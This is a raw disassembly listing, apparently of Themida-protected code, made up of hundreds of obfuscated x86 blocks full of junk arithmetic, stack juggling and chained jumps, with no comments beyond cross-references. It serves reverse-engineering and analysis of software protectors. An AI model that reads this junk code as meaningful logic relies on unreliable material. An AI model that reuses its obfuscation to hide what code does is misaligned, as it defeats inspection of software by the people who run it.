		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59D34B
; ---------------------------------------------------------------------------


loc_59AFA2:				; CODE XREF: Themida_:005A7667j
		add	bl, ch
		pop	ecx
		sub	bl, 75h
		sub	bl, al
		push	ax
		push	ecx
		push	5E15h
		mov	[esp], ebx
		mov	bl, 0FCh
		mov	ch, 5
		xor	ch, bl
		jmp	loc_5A8BD3
; ---------------------------------------------------------------------------


loc_59AFC0:				; CODE XREF: Themida_:005A71AFj
		mov	ah, dl
		pop	edx
		not	ah
		mov	cl, ah
		pop	ax
		jmp	loc_59B100
; ---------------------------------------------------------------------------


loc_59AFCE:				; CODE XREF: Themida_:005A0B33j
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59AFF5:				; CODE XREF: Themida_:005ABEE0j
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2
		jmp	loc_59F32C
; ---------------------------------------------------------------------------


loc_59B00A:				; CODE XREF: Themida_:00598B37j
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		push	ebx
		jmp	loc_5983B3
; ---------------------------------------------------------------------------


loc_59B018:				; CODE XREF: Themida_:005A5617j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59B021:				; CODE XREF: Themida_:005A4B60j
		shr	eax, 2
		shl	eax, 3
		jmp	loc_59F30D
; ---------------------------------------------------------------------------


loc_59B02C:				; CODE XREF: Themida_:005A48D8j
		mov	ebp, ecx
		jmp	loc_5AD51E
; ---------------------------------------------------------------------------


loc_59B033:				; CODE XREF: Themida_:005A0F2Dj
					; Themida_:005A1129j
		pop	eax
		push	esi
		mov	esi, 0E3B2390Bh
		add	ecx, esi
		pop	esi
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		jmp	loc_59F38A
; ---------------------------------------------------------------------------


loc_59B054:				; CODE XREF: Themida_:005A2FBEj
		jmp	loc_599083
; ---------------------------------------------------------------------------


loc_59B059:				; CODE XREF: Themida_:005A2E84j
		mov	ecx, edi
		pop	edi
		xor	ecx, 83D2821Ah
		add	edi, ecx
		jmp	loc_5A7CD0
; ---------------------------------------------------------------------------


loc_59B069:				; CODE XREF: Themida_:005A792Ej
		sub	esi, ecx
		add	esi, 4184393Eh
		push	dword ptr [esp]
		jmp	loc_5A637A
; ---------------------------------------------------------------------------


loc_59B079:				; CODE XREF: Themida_:0059CAF2j
					; Themida_:005A811Dj
		add	ebx, 4CAF4F3Ch
		jmp	loc_5A711F
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59B08B:				; CODE XREF: Themida_:005AC322j
		and	eax, 30F84407h
		shr	eax, 4
		xor	eax, 20F0444h
		add	ecx, eax
		jmp	loc_5AC277
; ---------------------------------------------------------------------------


loc_59B09F:				; CODE XREF: Themida_:005A0E92j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59C770
; ---------------------------------------------------------------------------


loc_59B0B3:				; CODE XREF: Themida_:005AE954j
		pop	esp
		jmp	loc_59FA20
; ---------------------------------------------------------------------------


loc_59B0B9:				; CODE XREF: Themida_:loc_5A01C7j
					; Themida_:005A0330j
		or	eax, 28D239ADh
		jmp	loc_5A963C
; ---------------------------------------------------------------------------


loc_59B0C3:				; CODE XREF: Themida_:0059D687j
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_59AD35
; ---------------------------------------------------------------------------


loc_59B0CF:				; CODE XREF: Themida_:005984F7j
		pop	ebx
		jmp	loc_5AC0E7
; ---------------------------------------------------------------------------


loc_59B0D5:				; CODE XREF: Themida_:loc_5A332Ej
		and	ebp, 305177BCh
		sub	ebp, 1B4B5C60h
		ja	loc_5A1D19
		jmp	loc_5A88A3
; ---------------------------------------------------------------------------
		jmp	loc_59A231
; ---------------------------------------------------------------------------


loc_59B0F1:				; CODE XREF: Themida_:005A7BCEj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59B100:				; CODE XREF: Themida_:0059AFC9j
		shr	cl, 4
		push	ax
		push	edx
		mov	dl, 0F0h
		shl	dl, 1
		jns	loc_5AACAD
		shl	dl, 8
		add	dl, 6Fh
		mov	ah, dl
		mov	edx, [esp]
		add	esp, 4
		xor	cl, ah
		jmp	loc_5A9ADA
; ---------------------------------------------------------------------------


loc_59B125:				; CODE XREF: Themida_:005ABF1Dj
		pop	esi
		add	ecx, 1
		push	ecx
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		jmp	loc_59FC43
; ---------------------------------------------------------------------------


loc_59B137:				; CODE XREF: Themida_:005AA39Aj
		mov	ebx, 4E585650h
		and	edi, ebx
		pop	ebx
		not	edi
		jmp	loc_5A0A2F
; ---------------------------------------------------------------------------


loc_59B146:				; CODE XREF: Themida_:005A66BCj
		or	ebx, 5B9030A1h
		jnp	loc_5AB8D2
		sub	ebx, 5F967DA5h
		mov	edi, ebx
		pop	ebx
		push	ecx
		xor	dl, 0BDh
		pop	edi


loc_59B160:				; CODE XREF: Themida_:loc_5AC8F3j
		sub	al, 0E0h
		sub	bl, al
		pop	ax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		jmp	loc_5A319E
; ---------------------------------------------------------------------------


loc_59B172:				; CODE XREF: Themida_:005A55EBj
					; Themida_:005AA757j ...
		add	esi, ecx
		pop	ecx
		jmp	loc_5A451E
; ---------------------------------------------------------------------------


loc_59B17A:				; CODE XREF: Themida_:0059D73Bj
					; Themida_:0059FC57j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		sub	dword ptr [esp], 261A5F41h
		mov	ebp, [esp]
		jmp	loc_59B926
; ---------------------------------------------------------------------------


loc_59B198:				; CODE XREF: Themida_:005A07CBj
		jmp	loc_5A6584
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		jmp	loc_5AE80A
; ---------------------------------------------------------------------------


loc_59B1A6:				; CODE XREF: Themida_:0059CC49j
		xor	ebp, 4B5A50ABh
		add	ebp, 0C0D06D3h
		xor	ebp, 61A16A4Fh
		jmp	loc_5A607A
; ---------------------------------------------------------------------------


loc_59B1BD:				; CODE XREF: Themida_:005A70DCj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59C1E9
; ---------------------------------------------------------------------------


loc_59B1C7:				; CODE XREF: Themida_:005A49D4j
		or	bh, al
		pop	ax
		xor	bh, 71h
		sub	esp, 2
		jmp	loc_5A7840
; ---------------------------------------------------------------------------


loc_59B1D6:				; CODE XREF: Themida_:00598579j
		add	eax, 688D1340h
		push	edi
		mov	edi, 63471AD3h
		shl	edi, 7
		add	edi, 27D6075Dh
		neg	edi
		jmp	loc_5A59DF
; ---------------------------------------------------------------------------


loc_59B1F1:				; CODE XREF: Themida_:005A6528j
		sub	al, 76h
		mov	dx, [esp]
		push	473Fh
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	0F16h
		mov	[esp], ecx
		mov	cl, 59h
		shl	cl, 6
		push	eax
		mov	al, 9Eh
		jmp	loc_5A885A
; ---------------------------------------------------------------------------


loc_59B223:				; CODE XREF: Themida_:005A6696j
		push	edi
		mov	edi, 4
		jmp	loc_5A34CF
; ---------------------------------------------------------------------------


loc_59B22E:				; CODE XREF: Themida_:005A5305j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5A4ECA
; ---------------------------------------------------------------------------


loc_59B23A:				; CODE XREF: Themida_:loc_5AA297j
					; Themida_:005AE72Cj
		or	eax, eax
		jz	loc_5AAFD4
		push	dword ptr [edi+1Ch]
		push	4558h
		mov	[esp], ebx
		jmp	loc_5A8F8A
; ---------------------------------------------------------------------------


loc_59B252:				; CODE XREF: Themida_:0059A6B1j
					; Themida_:0059D8FFj
		push	esi
		mov	esi, 26A54667h
		jmp	loc_5A2354
; ---------------------------------------------------------------------------


loc_59B25D:				; CODE XREF: Themida_:005A9487j
					; Themida_:005AB486j ...
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5A117A
; ---------------------------------------------------------------------------


loc_59B271:				; CODE XREF: Themida_:005AF1DEj
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_5AB224
; ---------------------------------------------------------------------------


loc_59B27E:				; CODE XREF: Themida_:005A1B40j
		push	esp
		pop	ebx
		push	esi
		mov	esi, 2C0054D8h
		jmp	loc_5A91CE
; ---------------------------------------------------------------------------


loc_59B28B:				; CODE XREF: Themida_:005A7C09j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5AF0DA
; ---------------------------------------------------------------------------


loc_59B299:				; CODE XREF: Themida_:005A3161j
		mov	[esp], ecx
		jmp	loc_5986BF
; ---------------------------------------------------------------------------


loc_59B2A1:				; CODE XREF: Themida_:00598505j
		pop	esp
		push	edx
		jmp	loc_5A0A6A
; ---------------------------------------------------------------------------


loc_59B2A8:				; CODE XREF: Themida_:0059BA22j
		pop	edi
		push	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A89AF
; ---------------------------------------------------------------------------


loc_59B2BF:				; CODE XREF: Themida_:005A797Cj
		sub	ecx, 1C0F5C8Eh
		add	edi, ecx
		pop	ecx
		add	edi, 130F890Fh
		jmp	loc_5A026F
; ---------------------------------------------------------------------------


loc_59B2D3:				; CODE XREF: Themida_:0059D4B8j
		push	66CB61F3h
		pop	ecx
		sub	esi, ecx
		jmp	loc_59B93A
; ---------------------------------------------------------------------------


loc_59B2E0:				; CODE XREF: Themida_:005A2852j
		shl	esi, 4
		sub	esi, 0FFFFFFFFh
		add	esi, 0C042C05Fh
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_598ECE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5A94BD
; ---------------------------------------------------------------------------


loc_59B302:				; CODE XREF: Themida_:0059F5C9j
		mov	[esp], edx
		push	esp
		pop	edx
		push	ecx
		push	eax
		mov	eax, 31352EBAh
		add	eax, 0FFFFFFFFh
		push	eax
		not	dword ptr [esp]
		jmp	loc_5A53F1
; ---------------------------------------------------------------------------


loc_59B31C:				; CODE XREF: Themida_:005A361Bj
		xchg	ecx, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_5ADFE5
; ---------------------------------------------------------------------------


loc_59B32D:				; CODE XREF: Themida_:00599860j
		push	edi
		push	7E2Eh
		mov	[esp], ebx
		jmp	loc_5AD2B4
; ---------------------------------------------------------------------------


loc_59B33B:				; CODE XREF: Themida_:005A84E1j
		pop	cx
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0
		mov	cl, dh
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	edx
		mov	dl, 6Dh
		jmp	loc_5AEE72
; ---------------------------------------------------------------------------


loc_59B35A:				; CODE XREF: Themida_:005A4305j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	al, 11h
		xor	al, 1Bh
		mov	bl, al
		mov	eax, [esp]
		add	esp, 4
		add	al, 0FDh
		add	al, 49h
		sub	al, 86h
		add	al, bl
		jmp	loc_5A5830
; ---------------------------------------------------------------------------


loc_59B37F:				; CODE XREF: Themida_:005A23BBj
					; Themida_:005A51F6j
		add	cl, 44h
		jmp	loc_5AA651
; ---------------------------------------------------------------------------


loc_59B387:				; CODE XREF: Themida_:loc_5AF275j
		dec	ah
		jle	loc_5A97A0
		jmp	loc_5A1D8E
; ---------------------------------------------------------------------------


loc_59B394:				; CODE XREF: Themida_:loc_5A1076j
		xor	ah, 8Ah
		jz	loc_59BA27
		push	edx
		jmp	loc_59CB66
; ---------------------------------------------------------------------------


loc_59B3A3:				; CODE XREF: Themida_:005A9EA2j
		add	edx, 4
		push	edi
		jmp	loc_5AB890
; ---------------------------------------------------------------------------


loc_59B3AF:				; CODE XREF: Themida_:005A07A4j
		mov	edi, 4
		jmp	loc_5A0799
; ---------------------------------------------------------------------------


loc_59B3B9:				; CODE XREF: Themida_:0059AEB6j
		sub	eax, ebp
		jmp	loc_5A0F4F
; ---------------------------------------------------------------------------


loc_59B3C0:				; CODE XREF: Themida_:005A3FDCj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		jmp	loc_5A15AC
; ---------------------------------------------------------------------------


loc_59B3CF:				; CODE XREF: Themida_:0059A74Aj
		mov	[esp], ecx
		push	3E764B4Ch
		pop	ecx
		and	ecx, 8BE642Dh
		jmp	loc_5988A9
; ---------------------------------------------------------------------------


loc_59B3E3:				; CODE XREF: Themida_:0059EA28j
		push	edx
		push	ebx
		mov	bl, 60h
		mov	dl, bl
		pop	ebx
		mov	ch, dl
		pop	edx
		push	small 0AC8h
		jmp	loc_5AC588
; ---------------------------------------------------------------------------


loc_59B3F6:				; CODE XREF: Themida_:005A50D4j
		mov	edi, 4
		sub	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		jmp	loc_5A5D07
; ---------------------------------------------------------------------------


loc_59B40B:				; CODE XREF: Themida_:005AE997j
		pop	edi
		add	ebx, 2
		jmp	loc_5A06BE
; ---------------------------------------------------------------------------


loc_59B414:				; CODE XREF: Themida_:005A9320j
		mov	esi, 4
		push	eax
		jmp	loc_5AA916
; ---------------------------------------------------------------------------


loc_59B41F:				; CODE XREF: Themida_:loc_5ABDB9j
		add	edi, 25DE7C1Eh
		jmp	loc_5AAE9A
; ---------------------------------------------------------------------------


loc_59B42A:				; CODE XREF: Themida_:005996F9j
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A5988
; ---------------------------------------------------------------------------


loc_59B44B:				; CODE XREF: Themida_:005A7FCCj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_59E2C6
; ---------------------------------------------------------------------------


loc_59B465:				; CODE XREF: Themida_:005A101Ej
		add	ecx, 736A042Ch
		jmp	loc_5A6DAA
; ---------------------------------------------------------------------------


loc_59B470:				; CODE XREF: Themida_:005A255Bj
		not	ecx
		push	edi
		jmp	loc_59FC11
; ---------------------------------------------------------------------------


loc_59B478:				; CODE XREF: Themida_:005A0024j
		push	ecx
		mov	ecx, 0D1162D5h
		dec	ecx
		dec	ecx
		add	ecx, 3BF934D2h
		shl	ecx, 6
		sub	ecx, 42A5E93Ch
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5AEFC2
; ---------------------------------------------------------------------------


loc_59B4A0:				; CODE XREF: Themida_:loc_5A471Bj
		jmp	loc_599466
; ---------------------------------------------------------------------------


loc_59B4A5:				; CODE XREF: Themida_:005A2F45j
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		push	6BE9h
		jmp	loc_59C850
; ---------------------------------------------------------------------------


loc_59B4BA:				; CODE XREF: Themida_:0059D468j
		pop	ecx
		sub	eax, 77DF121Fh
		add	eax, ebx
		add	eax, 77DF121Fh
		pop	ebx
		push	67E7h
		mov	[esp], ebx
		mov	ebx, 787F2F84h
		push	ecx
		mov	ecx, 0B0B2966h
		shl	ecx, 3
		push	1DC1h
		jmp	loc_5AE25C
; ---------------------------------------------------------------------------


loc_59B4E8:				; CODE XREF: Themida_:005A72D8j
		xchg	edi, [esp]
		jmp	loc_5A734A
; ---------------------------------------------------------------------------


loc_59B4F0:				; CODE XREF: Themida_:005A93D6j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	1543h
		jmp	loc_59DD80
; ---------------------------------------------------------------------------


loc_59B501:				; CODE XREF: Themida_:005A6408j
		pop	ebx
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_5A2D4D
; ---------------------------------------------------------------------------


loc_59B51D:				; CODE XREF: Themida_:005ABB38j
		push	ebx
		mov	ebx, 5A8353BCh
		dec	ebx
		add	ebx, 3083608Bh
		shr	ebx, 5
		add	ebx, 3972199Ch
		or	ecx, ebx
		jmp	loc_5A98D2
; ---------------------------------------------------------------------------


loc_59B53A:				; CODE XREF: Themida_:0059EFE3j
					; Themida_:005A367Fj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A4237
; ---------------------------------------------------------------------------


loc_59B546:				; CODE XREF: Themida_:005A245Bj
		pop	ecx
		add	ecx, edx
		pop	edx
		jmp	loc_5A91B3
; ---------------------------------------------------------------------------


loc_59B54F:				; CODE XREF: Themida_:005AAE1Fj
		push	esi
		mov	esi, 4
		add	dword ptr [esp+4], 0DED5C93h
		sub	dword ptr [esp+4], 75E55E73h
		add	[esp+4], esi
		add	dword ptr [esp+4], 75E55E73h
		sub	dword ptr [esp+4], 0DED5C93h
		pop	esi
		pop	ebx
		push	eax
		mov	eax, 144D4587h
		and	eax, 7B812548h
		or	eax, 55C061F5h
		inc	eax
		sub	eax, 55C165F2h
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_5AE4B2
; ---------------------------------------------------------------------------


loc_59B5A8:				; CODE XREF: Themida_:005A2EC1j
		sub	esi, 69FC25C2h
		add	esi, ebp
		add	esi, 69FC25C2h
		pop	ebp
		jmp	loc_59BE5D
; ---------------------------------------------------------------------------


loc_59B5BC:				; CODE XREF: Themida_:005A72B6j
		shl	ecx, 3
		jmp	loc_5A6A18
; ---------------------------------------------------------------------------


loc_59B5C4:				; CODE XREF: Themida_:005ABEBEj
		add	al, dl
		add	al, 15h
		jmp	loc_5A946B
; ---------------------------------------------------------------------------


loc_59B5CD:				; CODE XREF: Themida_:005AC31Aj
		sub	eax, ebx
		pop	ebx
		sub	ecx, 9470C21h
		add	ecx, eax
		jmp	loc_5A0BC5
; ---------------------------------------------------------------------------


loc_59B5DD:				; CODE XREF: Themida_:005AB96Cj
		jmp	loc_59ABC4
; ---------------------------------------------------------------------------


loc_59B5E2:				; CODE XREF: Themida_:0059937Ej
		push	ebp
		mov	ebp, 3DC45B0Dh
		jmp	loc_59D921
; ---------------------------------------------------------------------------


loc_59B5ED:				; CODE XREF: Themida_:0059E06Fj
		mov	edx, [esp]
		add	esp, 4
		shl	edi, 4
		not	edi
		add	edi, 1
		jmp	loc_59BF1B
; ---------------------------------------------------------------------------


loc_59B606:				; CODE XREF: Themida_:005AE45Bj
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A1C57
; ---------------------------------------------------------------------------


loc_59B615:				; CODE XREF: Themida_:0059E856j
		shr	ebx, 8
		or	ebx, 6A7828A1h
		jb	loc_5A9B55
		xor	ebx, 4B3342CFh
		add	ebx, edx
		pop	edx
		add	ebx, 78E12E85h
		jnb	loc_5A809C
		add	ebx, 4E48687Eh
		jp	loc_5A58CF


loc_59B645:				; CODE XREF: Themida_:005A32F0j
		mov	[esp], ecx
		jmp	loc_5A8679
; ---------------------------------------------------------------------------


loc_59B64D:				; CODE XREF: Themida_:0059A146j
		push	19E3h
		jmp	loc_5A73F7
; ---------------------------------------------------------------------------


loc_59B657:				; CODE XREF: Themida_:00598DAAj
		jmp	loc_59C47C
; ---------------------------------------------------------------------------


loc_59B65C:				; CODE XREF: Themida_:005AA5F6j
		and	eax, 10391EF8h
		jmp	loc_5AC31F
; ---------------------------------------------------------------------------


loc_59B666:				; CODE XREF: Themida_:005A0964j
					; Themida_:005A9631j
		xor	ecx, 0F48B0711h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	esi
		mov	esi, 4
		sub	eax, 5EA87241h
		add	eax, 30725391h
		add	eax, esi
		sub	eax, 30725391h
		add	eax, 5EA87241h
		jmp	loc_5A38E7
; ---------------------------------------------------------------------------


loc_59B69B:				; CODE XREF: Themida_:0059BCF6j
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4EF1h
		mov	[esp], eax
		jmp	loc_5A528B
; ---------------------------------------------------------------------------


loc_59B6B5:				; CODE XREF: Themida_:005A403Dj
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 2EEA032Fh
		jmp	loc_5AE971
; ---------------------------------------------------------------------------


loc_59B6C9:				; CODE XREF: Themida_:0059CB07j
		mov	edi, [esp]
		add	esp, 4
		push	525Bh
		mov	[esp], ebx
		mov	ebx, 7C8818A3h
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	5A8h
		jmp	loc_5990DA
; ---------------------------------------------------------------------------


loc_59B6F5:				; CODE XREF: Themida_:loc_598E5Cj
					; Themida_:0059A049j
		add	edx, ebp
		sub	edx, 7C6612CAh
		mov	ebp, [esp]
		jmp	loc_5A488B
; ---------------------------------------------------------------------------


loc_59B705:				; CODE XREF: Themida_:005A172Cj
		shl	eax, 2
		jnp	loc_5A6975
		neg	eax
		jmp	loc_59D11B
; ---------------------------------------------------------------------------
		add	ebx, edi
		push	ebp


loc_59B718:				; CODE XREF: Themida_:005990E5j
		add	esp, 4
		inc	ebp
		jmp	loc_59B826
; ---------------------------------------------------------------------------


loc_59B724:				; CODE XREF: Themida_:005A343Cj
		add	di, 1
		push	5C28h
		mov	[esp], ecx
		mov	cx, 3E03h
		xor	cx, 0E7Eh
		shl	cx, 3
		and	cx, 41B7h
		dec	cx
		add	cx, 1ABh
		add	di, cx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5ADDA1
; ---------------------------------------------------------------------------


loc_59B757:				; CODE XREF: Themida_:00598FC8j
		add	esp, 4
		jmp	loc_5A683D
; ---------------------------------------------------------------------------


loc_59B762:				; CODE XREF: Themida_:005A8B59j
		add	dword ptr [esp+4], 40FC14DFh
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 11DE6264h
		jmp	loc_599170
; ---------------------------------------------------------------------------


loc_59B780:				; CODE XREF: Themida_:0059E647j
		add	esi, ecx
		pop	ecx
		add	esi, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 2C376618h
		jmp	loc_59F8E3
; ---------------------------------------------------------------------------


loc_59B7BB:				; CODE XREF: Themida_:0059F51Cj
					; Themida_:005A57C0j
		push	ecx
		pop	edx
		pop	ecx
		jmp	loc_5AA9E5
; ---------------------------------------------------------------------------


loc_59B7C3:				; CODE XREF: Themida_:0059AB36j
		add	bh, 0D6h
		jmp	loc_5AD177
; ---------------------------------------------------------------------------


loc_59B7CB:				; CODE XREF: Themida_:005AEF4Cj
		xor	ebx, eax
		jmp	loc_59900B
; ---------------------------------------------------------------------------


loc_59B7D2:				; CODE XREF: Themida_:0059C606j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_59D44D
; ---------------------------------------------------------------------------


loc_59B7DC:				; CODE XREF: Themida_:005A20F5j
		pop	dword ptr [esp]
		jmp	loc_5A37AC
; ---------------------------------------------------------------------------


loc_59B7E4:				; CODE XREF: Themida_:005ABA11j
					; Themida_:005AEA50j
		mov	ecx, [esp]
		push	esi
		push	esp
		jmp	loc_5A650C
; ---------------------------------------------------------------------------


loc_59B7EE:				; CODE XREF: Themida_:0059F280j
		sub	al, bl
		sub	al, 0C3h
		sub	al, 85h
		sub	al, 9
		jmp	loc_59BEDE
; ---------------------------------------------------------------------------


loc_59B7FB:				; CODE XREF: Themida_:005A1935j
					; Themida_:005A7D66j
		not	ebp
		inc	ebp
		add	ebp, 76F2595Ch
		add	ebp, 88B2005h
		add	edx, ebp
		jmp	loc_5ADC8A
; ---------------------------------------------------------------------------


loc_59B811:				; CODE XREF: Themida_:005A41EBj
		neg	esi
		jle	loc_5A9355
		add	esi, 0DF8AB5EDh
		jmp	loc_5A27A7
; ---------------------------------------------------------------------------
		sub	esi, edi


loc_59B826:				; CODE XREF: Themida_:0059B71Fj
		sub	ebp, 601F84B5h
		mov	esi, ebp
		pop	ebp
		add	ecx, esi
		jmp	loc_5AE56A
; ---------------------------------------------------------------------------


loc_59B836:				; CODE XREF: Themida_:0059D610j
		pop	esp
		push	small 1675h
		mov	[esp], cx
		sub	esp, 2
		jmp	loc_5A24EF
; ---------------------------------------------------------------------------


loc_59B847:				; CODE XREF: Themida_:0059FB9Bj
		shl	cx, 2
		jmp	loc_5AE5A3
; ---------------------------------------------------------------------------


loc_59B850:				; CODE XREF: Themida_:005ADD0Cj
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_5A39DD
; ---------------------------------------------------------------------------


loc_59B85E:				; CODE XREF: Themida_:005A2C05j
		xor	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_5AB518
; ---------------------------------------------------------------------------


loc_59B877:				; CODE XREF: Themida_:0059ABE5j
		sub	eax, 6E65035Eh
		add	eax, ebp
		add	eax, 6E65035Eh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59D11B
; ---------------------------------------------------------------------------


loc_59B88F:				; CODE XREF: Themida_:005AF016j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5ACC99
; ---------------------------------------------------------------------------


loc_59B8A0:				; CODE XREF: Themida_:0059BED9j
		pop	ebp
		push	edx
		jmp	loc_5A06E3
; ---------------------------------------------------------------------------


loc_59B8A7:				; CODE XREF: Themida_:005A3428j
		sub	ebp, 1ED236EFh
		add	ebp, edi
		add	ebp, 1ED236EFh
		jmp	loc_59E3C3
; ---------------------------------------------------------------------------


loc_59B8BA:				; CODE XREF: Themida_:005A798Cj
		push	esi
		push	ebp
		mov	ebp, 4A4F5EB0h
		add	ebp, 0FFFFFFFFh
		push	ecx
		jmp	loc_5AC09B
; ---------------------------------------------------------------------------


loc_59B8CA:				; CODE XREF: Themida_:005A4EFEj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_5A593A
		push	ebp
		jmp	loc_5A0D7F
; ---------------------------------------------------------------------------


loc_59B8E4:				; CODE XREF: Themida_:005A4519j
		sub	dh, 17h
		add	dh, al
		add	dh, 17h
		pop	eax
		sub	esp, 4
		jmp	loc_5A6392
; ---------------------------------------------------------------------------


loc_59B8F5:				; CODE XREF: Themida_:005AD92Dj
		jmp	loc_5AB5C6
; ---------------------------------------------------------------------------


loc_59B8FA:				; CODE XREF: Themida_:0059C613j
		mov	[esp], ecx
		push	edi
		jmp	loc_5AB614
; ---------------------------------------------------------------------------


loc_59B903:				; CODE XREF: Themida_:005AA8C5j
		push	4A62h
		mov	[esp], eax
		mov	eax, 1E662D07h
		shl	eax, 1
		jns	loc_5A3F60
		jmp	loc_598510
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_599EBE
; ---------------------------------------------------------------------------
		db 89h,	0D2h
; ---------------------------------------------------------------------------
		pop	eax


loc_59B926:				; CODE XREF: Themida_:0059B193j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_59F4E4
; ---------------------------------------------------------------------------


loc_59B93A:				; CODE XREF: Themida_:0059B2DBj
		pop	ecx
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59D615
; ---------------------------------------------------------------------------


loc_59B95D:				; CODE XREF: Themida_:005A2807j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A3F53
; ---------------------------------------------------------------------------


loc_59B972:				; CODE XREF: Themida_:005A9CCBj
		shl	eax, 2
		sub	eax, 8F1FFD7Ch
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5A4223
; ---------------------------------------------------------------------------


loc_59B988:				; CODE XREF: Themida_:0059C77Ej
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	55B5h
		mov	[esp], edi
		push	esp
		jmp	loc_5A54B9
; ---------------------------------------------------------------------------


loc_59B9B0:				; CODE XREF: Themida_:0059BDA3j
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0B487AA8h
